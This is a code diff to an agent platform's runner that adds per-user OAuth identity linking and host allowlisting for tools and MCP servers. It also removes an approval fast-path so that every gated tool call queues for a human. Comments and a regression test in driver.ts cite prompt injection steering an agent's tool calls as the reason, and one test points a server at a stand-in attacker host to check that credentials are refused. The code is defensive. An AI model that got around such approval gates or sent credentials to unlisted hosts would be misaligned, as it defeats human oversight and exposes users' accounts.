+ * a bearer — mirroring a trigger-edge seed / linked credential.
*/
-function posthogBroker(): CredentialBroker {
- const broker = new MemoryCredentialBroker()
- void broker.write('s1', { posthog_api: { kind: 'posthog_bearer', token: 'tok' } })
- return broker
+function posthogIdentity(): AgentToolDeps['identity'] {
+ return {
+ resolve: async () => ({
+ kind: 'ok',
+ credential: { kind: 'posthog_bearer', token: 'tok' },
+ allowedHosts: ['localhost:8010'],
+ }),
+ }
}
/** Echoes a HogQL `/query/` response so query tests don't need a live Django. */
@@ -201,6 +202,22 @@ describe('buildAgentTools', () => {
expect(withSkills.tools.map((t) => t.label)).toContain('@posthog/load-skill')
})
+ it('auto-includes @posthog/identity-connect when the agent has a linkable identity', async () => {
+ // No identity surface → no connect tool (it would just error on use).
+ const none = await buildAgentTools(makeRev([]), makeDeps(makeRev([])))
+ expect(none.tools.map((t) => t.label)).not.toContain('@posthog/identity-connect')
+
+ // An MCP that authenticates through a provider makes connect available so
+ // the agent can hand the user a (re)link on demand.
+ const rev = makeRev(
+ [],
+ [],
+ [{ id: 'posthog', url: 'https://x/mcp', secrets: [], auth: { provider: 'posthog' } }]
+ )
+ const built = await buildAgentTools(rev, makeDeps(rev))
+ expect(built.tools.map((t) => t.label)).toContain('@posthog/identity-connect')
+ })
+
it('maps provider-safe names back to original ids', async () => {
const rev = makeRev([{ kind: 'native', id: '@posthog/query' }])
const built = await buildAgentTools(rev, makeDeps(rev))
@@ -232,10 +249,7 @@ describe('buildAgentTools', () => {
it('native tool execute calls native.run and returns JSON content + raw output detail', async () => {
const rev = makeRev([{ kind: 'native', id: '@posthog/query' }])
- const built = await buildAgentTools(
- rev,
- makeDeps(rev, { credentialBroker: posthogBroker(), http: queryEchoHttp() })
- )
+ const built = await buildAgentTools(rev, makeDeps(rev, { identity: posthogIdentity(), http: queryEchoHttp() }))
const result = await byId(built, '@posthog/query').execute('c1', { query: 'select 1 as a' })
expect(result.content).toEqual([{ type: 'text', text: JSON.stringify({ rows: [{ a: 1 }], columns: ['a'] }) }])
expect(result.details.output).toEqual({ rows: [{ a: 1 }], columns: ['a'] })
@@ -248,10 +262,30 @@ describe('buildAgentTools', () => {
},
}
const rev = makeRev([{ kind: 'native', id: '@posthog/query' }])
- const built = await buildAgentTools(rev, makeDeps(rev, { credentialBroker: posthogBroker(), http }))
+ const built = await buildAgentTools(rev, makeDeps(rev, { identity: posthogIdentity(), http }))
await expect(byId(built, '@posthog/query').execute('c1', { query: 'x' })).rejects.toThrow('boom')
})
+ it('returns auth_required without running when the tool identity is unlinked', async () => {
+ let fetched = false
+ const http: HttpFetcher = {
+ fetch: async () => {
+ fetched = true
+ return new Response('{}', { status: 200 })
+ },
+ }
+ const identity: AgentToolDeps['identity'] = {
+ resolve: async () => ({ kind: 'link_required', provider: 'posthog', authorizeUrl: 'https://link.test/go' }),
+ }
+ const rev = makeRev([{ kind: 'native', id: '@posthog/query' }])
+ const built = await buildAgentTools(rev, makeDeps(rev, { identity, http }))
+ const result = await byId(built, '@posthog/query').execute('c1', { query: 'select 1' })
+ expect(result.details.output).toEqual({
+ auth_required: { provider: 'posthog', authorize_url: 'https://link.test/go' },
+ })
+ expect(fetched).toBe(false)
+ })
+
it('skips an unknown native id in the spec', async () => {
const rev = makeRev([{ kind: 'native', id: '@posthog/does-not-exist' }])
const built = await buildAgentTools(rev, makeDeps(rev))
diff --git a/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.ts b/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.ts
index efe6c17dde5f..c40695796589 100644
--- a/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.ts
@@ -35,6 +35,7 @@ import {
CredentialBroker,
getSecretAllowedHosts,
HttpFetcher,
+ IdentityAuthRequiredError,
IntegrationCredentials,
MemoryStore,
TabularStore,
@@ -68,6 +69,8 @@ export interface ToolResultDetails {
queued?: boolean
/** The approval request id, when `queued`. */
requestId?: string
+ /** True when the queue deduped onto an existing row (no new request). */
+ deduped?: boolean
}
/**
@@ -131,6 +134,11 @@ export interface AgentToolDeps {
* decides how to degrade.
*/
credentialBroker?: CredentialBroker
+ /**
+ * Per-asker identity resolver (spec.identity_providers). Built once per run
+ * in the driver, keyed to the run's asker; forwarded to `ToolContext.identity`.
+ */
+ identity?: ToolContext['identity']
/**
* Opened MCP clients from `loop/mcp-clients.ts` — one per entry in
* `spec.mcps[]`. `buildAgentTools` walks `client.listTools()` on each
@@ -173,6 +181,13 @@ export async function buildAgentTools(rev: AgentRevision, deps: AgentToolDeps):
if (rev.spec.skills.length > 0) {
alwaysOn.push('@posthog/load-skill')
}
+ // `@posthog/identity-connect` lets the agent mint a connect/reconnect link on
+ // demand — included whenever the agent has any linkable identity (declared
+ // providers, or an MCP that authenticates through one), so the agent can hand
+ // the user a link proactively instead of only after a tool/MCP auth failure.
+ if (rev.spec.identity_providers.length > 0 || rev.spec.mcps.some((m) => m.auth?.provider)) {
+ alwaysOn.push('@posthog/identity-connect')
+ }
const all = [...alwaysOn.map((id) => ({ kind: 'native' as const, id })), ...rev.spec.tools]
for (const t of all) {
@@ -208,7 +223,7 @@ export async function buildAgentTools(rev: AgentRevision, deps: AgentToolDeps):
}
// custom — schema + description from the bundle, dispatched via sandbox.
const { description, parameters } = await loadCustomSchema(rev, t.id, t.path, deps.bundle)
- tools.push(makeCustomTool(t.id, description, parameters, deps))
+ tools.push(makeCustomTool(t.id, description, parameters, deps, t.requires_identity))
}
// MCP-sourced tools — one per remote tool per opened client. `listTools()`
@@ -298,6 +313,42 @@ function makeControlFlowTool(id: string): AgentTool<TSchema, ToolResultDetails>
}
}
+type IdentityGate =
+ | { proceed: true; resolved?: ToolContext['resolvedIdentities'] }
+ | { proceed: false; result: AgentToolResult<ToolResultDetails> }
+
+function authRequiredResult(provider: string, authorizeUrl: string): AgentToolResult<ToolResultDetails> {
+ const output = { auth_required: { provider, authorize_url: authorizeUrl } }
+ return { content: [{ type: 'text', text: JSON.stringify(output) }], details: { output } }
+}
+
+/** Resolve a tool's required identity provider before it runs. Returns the
+ * resolved credential to thread into the context, or short-circuits to an
+ * auth_required result. `unknown_provider` (e.g. the `slack` bot) isn't
+ * identity-gated and proceeds. */
+async function gateIdentity(
+ provider: { id: string; scopes: string[] } | undefined,
+ deps: AgentToolDeps
+): Promise<IdentityGate> {
+ if (!provider || !deps.identity) {
+ return { proceed: true }
+ }
+ const res = await deps.identity.resolve(provider.id, provider.scopes)
+ if (res.kind === 'ok') {
+ return {
+ proceed: true,
+ resolved: { [provider.id]: { credential: res.credential, allowedHosts: res.allowedHosts } },
+ }
+ }
+ if (res.kind === 'link_required') {
+ return { proceed: false, result: authRequiredResult(res.provider, res.authorizeUrl) }
+ }
+ if (res.reason === 'unknown_provider') {
+ return { proceed: true }
+ }
+ throw new Error(`identity_unavailable: ${provider.id} (${res.reason})`)
+}
+
function makeNativeTool(id: string, deps: AgentToolDeps): AgentTool<TSchema, ToolResultDetails> {
const native = getNativeTool(id)
return {
@@ -306,10 +357,19 @@ function makeNativeTool(id: string, deps: AgentToolDeps): AgentTool<TSchema, Too
description: native.schema.description,
parameters: native.schema.args,
execute: async (_callId, args): Promise<AgentToolResult<ToolResultDetails>> => {
- // Throws propagate: the loop renders them as an error tool_result
- // (content = message, isError: true) — same shape as the old path.
- const result = await native.run(args, buildToolContext(deps))
- return { content: [{ type: 'text', text: JSON.stringify(result) }], details: { output: result } }
+ const gate = await gateIdentity(native.schema.requires.provider, deps)
+ if (!gate.proceed) {
+ return gate.result
+ }
+ try {
+ const result = await native.run(args, buildToolContext(deps, gate.resolved))
+ return { content: [{ type: 'text', text: JSON.stringify(result) }], details: { output: result } }
+ } catch (err) {
+ if (err instanceof IdentityAuthRequiredError) {
+ return authRequiredResult(err.provider, err.authorizeUrl)
+ }
+ throw err
+ }
},
}
}
@@ -318,7 +378,8 @@ function makeCustomTool(
id: string,
description: string,
parameters: TSchema,
- deps: AgentToolDeps
+ deps: AgentToolDeps,
+ requiresIdentity?: string
): AgentTool<TSchema, ToolResultDetails> {
return {
name: id,
@@ -326,9 +387,15 @@ function makeCustomTool(
description,
parameters,
execute: async (_callId, args): Promise<AgentToolResult<ToolResultDetails>> => {
+ const gate = await gateIdentity(requiresIdentity ? { id: requiresIdentity, scopes: [] } : undefined, deps)
+ if (!gate.proceed) {
+ return gate.result
+ }
if (!deps.sandbox) {
throw new Error(`custom tool ${id} requires a sandbox`)
}
+ // CUSTOM-TOOL CREDENTIAL INJECTION SEAM: gate only — the resolved
+ // bearer is not yet threaded into the sandbox.
const r = await deps.sandbox.invoke({ toolId: id, action: 'default', args })
if (!r.ok) {
throw new Error(`${r.error.code}: ${r.error.message}`)
@@ -426,8 +493,7 @@ function makeMcpTool(
}
}
-/** Replicates the `ToolContext` the old `dispatchTool` built for native tools. */
-function buildToolContext(deps: AgentToolDeps): ToolContext {
+function buildToolContext(deps: AgentToolDeps, resolvedIdentities?: ToolContext['resolvedIdentities']): ToolContext {
const credentialBroker = deps.credentialBroker
const sessionId = deps.session.id
// The `@posthog/*` data tools act as the invoking PostHog user against an
@@ -463,6 +529,8 @@ function buildToolContext(deps: AgentToolDeps): ToolContext {
resolve: (target) => credentialBroker.resolve(sessionId, target),
}
: undefined,
+ identity: deps.identity,
+ resolvedIdentities,
http: deps.http,
posthogApiBaseUrl: deps.posthogApiBaseUrl,
}
diff --git a/products/agent_platform/services/agent-runner/src/loop/driver.test.ts b/products/agent_platform/services/agent-runner/src/loop/driver.test.ts
index 1757dd7761e3..87e006c8fbeb 100644
--- a/products/agent_platform/services/agent-runner/src/loop/driver.test.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/driver.test.ts
@@ -33,10 +33,10 @@ import { reset } from '@posthog/agent-shared/testing'
const KAFKA_HOSTS = process.env.KAFKA_HOSTS ?? 'localhost:9092'
-import { buildApprovalDecidedMarker } from './approval-marker'
+import { buildApprovalDecidedMarker } from '@posthog/agent-shared'
+
import { runSession } from './driver'
import type { OpenedMcp, RemoteMcpTool } from './mcp-clients'
-import type { IsAskerInApproverScope } from './per-asker-auth'
const FAUX_MODEL_ID = 'faux/test'
// Realistic UUID — PG's `uuid` columns (approvals.session_id, etc.) reject
@@ -358,8 +358,8 @@ describe('driver runSession', () => {
* so they never appear in `spec.tools[]` and the native/custom approval
* lookup misses them. PR 7 added a fallback that decomposes
* `<prefix>__<remoteName>` against `spec.mcps[].tools[]` — these tests pin
- * the wrap path for the MCP variant + the `session_principal` gate the
- * concierge relies on (which always queues — it never fast-paths).
+ * the wrap path for the MCP variant + the `principal` gate the concierge
+ * relies on (which always queues — there is no fast-path).
*/
describe('MCP tool approval gating', () => {
// Minimal `OpenedMcp` stub — same shape as `build-agent-tools.test.ts`'s
@@ -395,8 +395,8 @@ describe('driver runSession', () => {
}
// Route through `AgentSpecSchema.parse` so the approval-policy
- // defaults (`allow_edit`, `allow_agent_approver`) get materialised
- // — the runner reads the strict shape, not the zod input form.
+ // defaults (`type`, `allow_edit`, `ttl_ms`) get materialised — the
+ // runner reads the strict shape, not the zod input form.
const POSTHOG_REF: McpRef = AgentSpecSchema.parse({
model: FAUX_MODEL_ID,
mcps: [
@@ -410,7 +410,7 @@ describe('driver runSession', () => {
{
name: 'agent-applications-revisions-promote-create',
requires_approval: true,
- approval_policy: { approvers: ['session_principal'], ttl_ms: 900_000 },
+ approval_policy: { type: 'principal', ttl_ms: 900_000 },
},
],
},
@@ -539,7 +539,7 @@ describe('driver runSession', () => {
{
name: 'pingback',
requires_approval: true,
- approval_policy: { approvers: ['team_admins'] },
+ approval_policy: { type: 'agent' },
},
],
},
@@ -589,15 +589,14 @@ describe('driver runSession', () => {
expect(out.state).not.toBe('failed')
})
- it('session_principal does NOT fast-path: queues even when the last sender matches session.principal (injection guard)', async () => {
+ it('queues even when the last sender matches session.principal (no auto-dispatch / injection guard)', async () => {
// Alice authed the session (`session.principal === alice`) and is
// the one driving this turn (`conversation[last].sender === alice`).
- // Even so, a `session_principal`-gated call must NOT auto-dispatch:
- // the owner being the asker is not consent to the specific gated
- // call the model emitted (which a prompt injection in content the
- // agent read could have steered). The wrap queues; the real remote
- // tool is never hit. Regression guard for the "approval bypass for
- // session-principal tools" finding.
+ // There is no fast-path: being the asker is not consent to the
+ // specific gated call the model emitted (which a prompt injection in
+ // content the agent read could have steered). The wrap queues; the
+ // real remote tool is never hit. Regression guard for the "approval
+ // bypass" finding.
const mcp = makeFakeMcp('posthog', POSTHOG_REF, {
'agent-applications-revisions-promote-create': { description: 'd', result: { promoted: true } },
})
@@ -606,10 +605,6 @@ describe('driver runSession', () => {
principal: principalAlice,
conversation: [{ role: 'user', content: 'promote it', sender: principalAlice, timestamp: Date.now() }],
})
- // Faithful stub of the production `makePerAskerAuth`: `team_admins`
- // is the only self-authorising fast-path scope. `session_principal`
- // never clears the gate, so the concierge's `['session_principal']`
- // policy resolves to false here.
const out = await run(makeRev({ mcps: [POSTHOG_REF as never] }), session, {
script: [
toolUse([
@@ -621,8 +616,6 @@ describe('driver runSession', () => {
],
approvals,
mcpClients: [mcp],
- isAskerInApproverScope: (async (_conversation, _teamId, scope) =>
- scope.includes('team_admins')) satisfies IsAskerInApproverScope,
})
expect(out.state).toBe('completed')
// The real remote tool was NEVER called — the gate held.
diff --git a/products/agent_platform/services/agent-runner/src/loop/driver.ts b/products/agent_platform/services/agent-runner/src/loop/driver.ts
index fc4d80b7e3bc..bb097136c6fa 100644
--- a/products/agent_platform/services/agent-runner/src/loop/driver.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/driver.ts
@@ -49,6 +49,7 @@ import {
AssistantMessageRecord,
BundleStore,
buildSystemPrompt,
+ buildAskerIdentity,
ConversationMessage,
CredentialBroker,
createLogger,
@@ -56,6 +57,9 @@ import {
GatewayClient,
generationSpanId,
HttpFetcher,
+ IdentityCredentialStore,
+ IdentityLinkStateStore,
+ IdentityStore,
IntegrationCredentials,
isDeltaEventKind,
isSlackTriggerMetadata,
@@ -64,6 +68,7 @@ import {
MemoryStore,
NoopAnalyticsSink,
parseClientToolResultMarker,
+ postSlackApprovalButtons,
postSlackReply,
Sandbox,
SecretBroker,
@@ -75,6 +80,7 @@ import {
SlackStatusReporter,
slackTextFromContent,
TabularStore,
+ ToolContext,
toolSpanId,
} from '@posthog/agent-shared'
@@ -83,7 +89,6 @@ import { AgentToolDeps, buildAgentTools, MetaControl, RealToolExecute, ToolResul
import { resolveMaxOutputTokens } from './max-output-tokens'
import type { McpOpenFailure, OpenedMcp } from './mcp-clients'
import { lookupMcpToolApproval } from './mcp-tool-lookup'
-import type { IsAskerInApproverScope } from './per-asker-auth'
import { providerSafeName } from './provider-safe-names'
export interface RunSessionDeps {
@@ -147,16 +152,6 @@ export interface RunSessionDeps {
* security hole). No mock variant. */
approvals: ApprovalStore
buildApprovalUrl?: (requestId: string) => string
- /**
- * Per-asker authorisation shortcut for approval-gated tools (#23 step 3).
- * Called inside the gated tool's `execute` before queueing: when the
- * most recent user-turn's sender themselves satisfies the tool's
- * `approver_scope`, the call is dispatched directly via the original
- * `realExecute` (no queue, no UI round-trip). Errors fall through to
- * the queue path so a transient lookup failure can't strand a gated
- * call. Omit to keep the always-queue default.
- */
- isAskerInApproverScope?: IsAskerInApproverScope
/**
* S3-backed memory store. Threaded into `AgentToolDeps` → `ToolContext`
* so native `@posthog/memory-*` tools work; absent → memory tools return
@@ -217,6 +212,17 @@ export interface RunSessionDeps {
posthogApiBaseUrl: string
/** Operator override (AGENT_MAX_OUTPUT_TOKENS); clamps below model.maxTokens. */
maxOutputTokensOverride?: number
+ /**
+ * Per-asker identity linking (spec.identity_providers). When both stores are
+ * wired and the spec declares providers, `ctx.identity` resolves the run's
+ * asker's linked credential (or a link). Omit to disable identity tools.
+ */
+ identityCredentials?: IdentityCredentialStore
+ identityLinks?: IdentityLinkStateStore
+ /** Resolves a non-slack principal to its AgentUser id for linking. */
+ identities?: IdentityStore
+ /** OAuth callback base; `/link/<provider>/callback` is appended. */
+ linkRedirectBaseUrl?: string
}
export type RunOutcome =
@@ -239,7 +245,11 @@ export async function runSession(rev: AgentRevision, session: AgentSession, deps
// through the slack-post-message tool.
const slackReply = isSlackTriggerMetadata(session.trigger_metadata) ? session.trigger_metadata : null
const system = await buildSystemPrompt(rev, deps.bundle, {
- unavailableMcps: (deps.mcpFailures ?? []).map((f) => ({ id: f.ref.id, category: f.category })),
+ unavailableMcps: (deps.mcpFailures ?? []).map((f) => ({
+ id: f.ref.id,
+ category: f.category,
+ authorizeUrl: f.authorizeUrl,
+ })),
slackReplyRelay: slackReply !== null,
})
const bus: SessionEventBus = deps.bus
@@ -393,6 +403,25 @@ export async function runSession(rev: AgentRevision, session: AgentSession, deps
// the function exits through. Intentionally left at +0 indent to
// keep the diff small; the contents are unchanged.
try {
+ // Identity resolution keys off the session OWNER (the authenticated
+ // principal), not whoever spoke last — a credential is never resolved
+ // for the wrong person. In a shared participant thread (any trusted user
+ // can post) owner != asker, so identity-gated tools fail closed there
+ // rather than act as the owner on a participant's behalf (T1).
+ let identity: ToolContext['identity']
+ if (deps.identityCredentials && deps.identityLinks) {
+ identity = await buildAskerIdentity(rev, session, {
+ credentials: deps.identityCredentials,
+ links: deps.identityLinks,
+ identities: deps.identities,
+ credentialBroker: deps.credentialBroker,
+ http: deps.http,
+ secret: (name) => deps.secrets[name],
+ posthogApiBaseUrl: deps.posthogApiBaseUrl,
+ linkRedirectBaseUrl: deps.linkRedirectBaseUrl,
+ log,
+ })
+ }
const toolDeps: AgentToolDeps = {
rev,
session,
@@ -408,6 +437,7 @@ export async function runSession(rev: AgentRevision, session: AgentSession, deps
await emit('client_tool_call', { call_id: callId, tool_id: toolId, args })
},
credentialBroker: deps.credentialBroker,
+ identity,
mcpClients: deps.mcpClients,
http: deps.http,
posthogApiBaseUrl: deps.posthogApiBaseUrl,
@@ -494,35 +524,14 @@ export async function runSession(rev: AgentRevision, session: AgentSession, deps
? mcpGate.approval_policy
: null
if (policy) {
- const real = realExecute.get(id)
tool.execute = async (toolCallId, args) => {
- // Per-asker shortcut (#23 step 3): when the most recent
- // user-turn's sender already satisfies the tool's
- // approver scope, dispatch the real tool directly and
- // skip the queue. The model sees a normal tool_result
- // either way. Best-effort — a thrown check falls through
- // to the queue path so a transient DB blip can't strand
- // a gated call as never-queued, never-executed.
- if (real && deps.isAskerInApproverScope) {
- try {
- const allowed = await deps.isAskerInApproverScope(
- session.conversation,
- session.team_id,
- policy.approvers,
- session.principal
- )
- if (allowed) {
- log('info', 'tool.dispatch.per_asker_authorised', { tool: id })
- return real(toolCallId, (args ?? {}) as Record<string, unknown>)
- }
- } catch (err) {
- log('warn', 'tool.dispatch.per_asker_check_failed', {
- tool: id,
- err: (err as Error).message,
- })
- }
- }
- return queueApprovalResult({
+ // Every gated call queues — there is no auto-dispatch.
+ // Being the asker is not consent to the specific call the
+ // model emitted (a prompt injection in content the agent
+ // read could have steered it), so a deterministic human
+ // decision is always required: `principal` clears it via
+ // the ingress decision API, `agent` via the console.
+ const queued = await queueApprovalResult({
approvals,
buildApprovalUrl: deps.buildApprovalUrl,
session,
@@ -535,6 +544,28 @@ export async function runSession(rev: AgentRevision, session: AgentSession, deps
args: (args ?? {}) as Record<string, unknown>,
policy,
})
+ // For a `principal` approval on a Slack session, post
+ // Approve/Reject buttons into the thread so the session
+ // owner can decide in-place (the ingress interactivity
+ // handler enforces principal-match on the click). Skip on
+ // a deduped re-queue so we don't spam the same buttons.
+ // Best-effort — a Slack hiccup must not break the loop.
+ const reqId = queued.details?.requestId
+ if (slackReply && policy.type === 'principal' && reqId && !queued.details?.deduped) {
+ void postSlackApprovalButtons(deps.http, {
+ token: deps.secrets[SLACK_BOT_TOKEN_KEY],
+ channel: slackReply.channel,
+ thread_ts: slackReply.thread_ts,
+ sessionId: session.id,
+ requestId: reqId,
+ toolName: id,
+ logger: {
+ warn: (meta, msg) => log('warn', msg, meta),
+ info: (meta, msg) => log('info', msg, meta),
+ },
+ }).catch(() => {})
+ }
+ return queued
}
}
}
diff --git a/products/agent_platform/services/agent-runner/src/loop/mcp-clients.test.ts b/products/agent_platform/services/agent-runner/src/loop/mcp-clients.test.ts
index a988bbc9c4d3..7b71025d258c 100644
--- a/products/agent_platform/services/agent-runner/src/loop/mcp-clients.test.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/mcp-clients.test.ts
@@ -259,6 +259,131 @@ describe('openMcpClients', () => {
await closePairs(pairs)
})
+ it('auth.provider stamps the asker bearer when the identity resolves ok', async () => {
+ const { factory, pairs, targets } = await buildEchoFactory()
+ const refs: McpRef[] = [{ id: 'gh', url: 'https://example.com/mcp', secrets: [], auth: { provider: 'github' } }]
+ const { close } = await openMcpClients(refs, {
+ integrations: {},
+ secrets: {},
+ transportFactory: factory,
+ identity: {
+ resolve: async () => ({
+ kind: 'ok',
+ credential: { kind: 'oauth_bearer', token: 'asker-tok', provider: 'github' },
+ allowedHosts: ['example.com'],
+ }),
+ },
+ })
+ expect(targets[0].headers.Authorization).toBe('Bearer asker-tok')
+ await close()
+ await closePairs(pairs)
+ })
+
+ it('auth.provider unlinked → ref fails to open in the auth category', async () => {
+ const { factory, pairs } = await buildEchoFactory()
+ const refs: McpRef[] = [{ id: 'gh', url: 'https://example.com/mcp', secrets: [], auth: { provider: 'github' } }]
+ const { clients, failures, close } = await openMcpClients(refs, {
+ integrations: {},
+ secrets: {},
+ transportFactory: factory,
+ identity: {
+ resolve: async () => ({ kind: 'link_required', provider: 'github', authorizeUrl: 'https://gh/oauth' }),
+ },
+ })
+ expect(clients).toEqual([])
+ expect(failures[0].category).toBe('auth')
+ expect(failures[0].devReason).toMatch(/mcp_identity_link_required: github/)
+ // The authorize URL rides on the failure so the system prompt can relay it.
+ expect(failures[0].authorizeUrl).toBe('https://gh/oauth')
+ await close()
+ await closePairs(pairs)
+ })
+
+ it('auth.provider linked-but-rejected (e.g. missing scope) → offers a reconnect link via relink', async () => {
+ // Resolve succeeds (the asker IS linked), but the MCP rejects the grant
+ // at open with a scope error. The failure must carry a reconnect URL so
+ // the agent can relay it — not dead-end as "unavailable".
+ const failingFactory: McpTransportFactory = () =>
+ ({
+ async start() {
+ throw new Error(
+ "Streamable HTTP error: Error POSTing to endpoint: Missing PostHog API scope: 'user:read'"
+ )
+ },
+ async send() {},
+ async close() {},
+ }) as unknown as Transport
+ const refs: McpRef[] = [
+ { id: 'posthog', url: 'https://example.com/mcp', secrets: [], auth: { provider: 'posthog' } },
+ ]
+ const relink = vi.fn(async () => 'https://app.posthog.test/oauth/authorize/?reconnect=1')
+ const { clients, failures } = await openMcpClients(refs, {
+ integrations: {},
+ secrets: {},
+ transportFactory: failingFactory,
+ identity: {
+ resolve: async () => ({
+ kind: 'ok',
+ credential: { kind: 'posthog_bearer', token: 'linked-but-underscoped' },
+ allowedHosts: ['example.com'],
+ }),
+ relink,
+ },
+ })
+ expect(clients).toEqual([])
+ // Scope rejection classifies as auth (not unknown), which gates the reconnect offer.
+ expect(failures[0].category).toBe('auth')
+ expect(failures[0].authorizeUrl).toBe('https://app.posthog.test/oauth/authorize/?reconnect=1')
+ expect(relink).toHaveBeenCalledWith('posthog')
+ })
+
+ it('auth.provider refuses a host outside the resolved credential allowlist', async () => {
+ const { factory, pairs } = await buildEchoFactory()
+ const refs: McpRef[] = [
+ { id: 'gh', url: 'https://evil.example/mcp', secrets: [], auth: { provider: 'github' } },
+ ]
+ const { clients, failures, close } = await openMcpClients(refs, {
+ integrations: {},
+ secrets: {},
+ transportFactory: factory,
+ identity: {
+ resolve: async () => ({
+ kind: 'ok',
+ credential: { kind: 'oauth_bearer', token: 'asker-tok', provider: 'github' },
+ allowedHosts: ['api.github.com'],
+ }),
+ },
+ })
+ expect(clients).toEqual([])
+ expect(failures[0].devReason).toMatch(/mcp_identity_host_not_allowed/)
+ await close()
+ await closePairs(pairs)
+ })
+
+ it('auth.provider allows the local MCP over http loopback even on a different port than the credential host', async () => {
+ const { factory, pairs, targets } = await buildEchoFactory()
+ const refs: McpRef[] = [
+ { id: 'posthog', url: 'http://localhost:8787/mcp', secrets: [], auth: { provider: 'posthog' } },
+ ]
+ const { close } = await openMcpClients(refs, {
+ integrations: {},
+ secrets: {},
+ transportFactory: factory,
+ identity: {
+ // allowedHosts is the API/OAuth host (localhost:8010) — a different
+ // port than the MCP (8787); loopback should still be allowed.
+ resolve: async () => ({
+ kind: 'ok',
+ credential: { kind: 'posthog_bearer', token: 'local-tok' },
+ allowedHosts: ['localhost:8010'],
+ }),
+ },
+ })
+ expect(targets[0].headers.Authorization).toBe('Bearer local-tok')
+ await close()
+ await closePairs(pairs)
+ })
+
it('reports a header-secret-missing ref as an unavailable MCP (auth category)', async () => {
// Sending a literal `${NAME}` to the remote would 401 with a confusing
// protocol error. We capture the resolver failure per-ref instead so
diff --git a/products/agent_platform/services/agent-runner/src/loop/mcp-clients.ts b/products/agent_platform/services/agent-runner/src/loop/mcp-clients.ts
index 142f80c7057d..e59fd01b228d 100644
--- a/products/agent_platform/services/agent-runner/src/loop/mcp-clients.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/mcp-clients.ts
@@ -45,7 +45,14 @@ import { Client } from '@modelcontextprotocol/sdk/client/index.js'
import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js'
import type { Transport } from '@modelcontextprotocol/sdk/shared/transport.js'
-import { HttpFetcher, IntegrationCredentials, McpRef, secretHostMatches } from '@posthog/agent-shared'
+import {
+ HttpFetcher,
+ type IdentityResolution,
+ IntegrationCredentials,
+ isDev,
+ McpRef,
+ secretHostMatches,
+} from '@posthog/agent-shared'
/** Remote tool descriptor as returned by `client.listTools()`. */
export interface RemoteMcpTool {
@@ -97,6 +104,23 @@ export interface McpOpenFailure {
* forwarded to the chat UI or the model's view of the world. The agent
* owner reads this via `log_entries` on the session detail page. */
devReason: string
+ /** Set when the open failed because the asker hasn't linked the MCP's
+ * `auth.provider` identity yet. The model relays this so the user can
+ * connect (vs a dead "temporarily unavailable"). Safe to surface — it's a
+ * per-asker authorize link, not a secret. */
+ authorizeUrl?: string
+}
+
+/** Thrown by `resolveTarget` when an `auth.provider` MCP can't open because the
+ * asker is unlinked. Carries the authorize URL so `openMcpClients` can surface
+ * it as a relayable link rather than an opaque "unavailable". */
+class McpIdentityLinkRequiredError extends Error {
+ constructor(
+ readonly provider: string,
+ readonly authorizeUrl: string
+ ) {
+ super(`mcp_identity_link_required: ${provider}`)
+ }
}
/**
@@ -112,13 +136,18 @@ export function categorizeMcpOpenError(err: Error): McpFailureCategory {
if (
msg.includes('mcp_secret_') ||
msg.includes('mcp_integration_') ||
+ msg.includes('mcp_identity_') ||
msg.includes('no token') ||
msg.includes('unauthor') ||
msg.includes(' 401') ||
msg.includes(' 403') ||
msg.includes('forbidden') ||
msg.includes('invalid api key') ||
- msg.includes('invalid token')
+ msg.includes('invalid token') ||
+ // A linked grant missing a scope the resource server requires is an
+ // authorization failure — reconnecting (with the updated scope set) is
+ // the fix, so it must land in `auth` to trigger the reconnect offer.
+ msg.includes('scope')
) {
return 'auth'
}
@@ -193,6 +222,19 @@ export interface OpenMcpClientsDeps {
* for the threat model.
*/
integrationHostValidator?: IntegrationHostValidator
+ /**
+ * Per-asker identity resolver (from `buildAskerIdentity`). Resolves a
+ * `ref.auth.provider` to the asker's bearer, same posture as
+ * `auth.integration` (https + the resolver's own host allowlist). Absent →
+ * any `auth.provider` ref is refused at open time.
+ */
+ identity?: {
+ resolve(provider: string, scopes?: string[]): Promise<IdentityResolution>
+ /** Force a reconnect link for an already-linked provider — used when the
+ * resolved bearer is rejected at open (e.g. missing scope). See
+ * `openMcpClients`'s failure handling. */
+ relink?(provider: string): Promise<string | null>
+ }
/**
* Dev-only bearer attached to `kind: external` MCP requests when the
* ref has no `auth.integration` of its own (`ref.auth` wins if set).
@@ -261,7 +303,16 @@ export async function openMcpClients(
const err = r.reason instanceof Error ? r.reason : new Error(String(r.reason))
const ref = refs[i]
const category = categorizeMcpOpenError(err)
- failures.push({ ref, category, devReason: err.message })
+ let authorizeUrl = err instanceof McpIdentityLinkRequiredError ? err.authorizeUrl : undefined
+ // Reconnect path: an `auth.provider` MCP that resolved a bearer but was
+ // rejected at open (a revoked or under-scoped linked grant) surfaces as
+ // an `auth` failure WITHOUT a link. Offer a fresh authorize URL so the
+ // asker can re-authorize, instead of a dead "unavailable" the agent
+ // can't act on. A never-linked asker already carries the URL above.
+ if (!authorizeUrl && category === 'auth' && ref.auth?.provider && deps.identity?.relink) {
+ authorizeUrl = (await deps.identity.relink(ref.auth.provider)) ?? undefined
+ }
+ failures.push({ ref, category, devReason: err.message, authorizeUrl })
log('warn', 'mcp.open.failed', { prefix: ref.id, category, devReason: err.message })
}
@@ -321,6 +372,10 @@ async function openOne(ref: McpRef, deps: OpenOneDeps): Promise<OpenedMcp> {
}
}
+function isLoopbackHost(hostname: string): boolean {
+ return hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1' || hostname === '[::1]'
+}
+
async function resolveTarget(
ref: McpRef,
deps: OpenMcpClientsDeps
@@ -372,6 +427,41 @@ async function resolveTarget(
throw new Error(`mcp_integration_host_not_allowed: ${ref.auth.integration} → ${parsed.host}`)
}
headers['Authorization'] = `Bearer ${cred.access_token}`
+ } else if (ref.auth?.provider) {
+ if (!deps.identity) {
+ throw new Error(`mcp_identity_not_wired: ${ref.auth.provider}`)
+ }
+ const res = await deps.identity.resolve(ref.auth.provider)
+ if (res.kind === 'link_required') {
+ throw new McpIdentityLinkRequiredError(ref.auth.provider, res.authorizeUrl)
+ }
